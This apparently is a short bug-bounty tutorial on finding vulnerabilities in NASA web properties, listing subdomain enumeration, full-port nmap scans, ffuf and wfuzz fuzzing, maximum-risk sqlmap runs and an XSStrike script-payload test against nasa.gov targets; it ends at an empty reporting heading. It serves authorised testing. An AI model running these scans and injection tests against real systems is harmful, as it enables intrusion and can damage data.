How to Hunt Critical Vulnerabilities Like a NASA Hall of Famer

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NASA’s Vulnerability Disclosure Program (VDP) has accepted over 8000 vulnerability reports, proving that even high-profile targets like NASA have exploitable flaws. Here’s how you can dig deeper and uncover critical bugs like a pro.

You Should Know:

1. Reconnaissance & Enumeration

  • Use subdomain enumeration tools to expand attack surfaces:
    subfinder -d nasa.gov -o subdomains.txt
    assetfinder --subs-only nasa.gov | tee -a subdomains.txt
    
  • Check for open ports/services with nmap:
    nmap -sV -T4 -p- --min-rate 1000 -iL subdomains.txt -oA nasa_scan
    

2. Web App Testing

  • Dirbusting for hidden paths:
    ffuf -u https://target.nasa.gov/FUZZ -w /path/to/wordlist.txt -mc 200,403
    
  • Parameter fuzzing for injection flaws:
    wfuzz -c -z file,params.txt -d "param=FUZZ" https://target.nasa.gov/api
    

3. Exploiting P1 Vulnerabilities

  • SQLi detection with sqlmap:
    sqlmap -u "https://target.nasa.gov/search?id=1" --risk=3 --level=5 --batch
    
  • XSS testing using XSStrike:
    python3 xsstrike.py -u "https://target.nasa.gov/search?q=<script>"
    

4. Reporting Like a Pro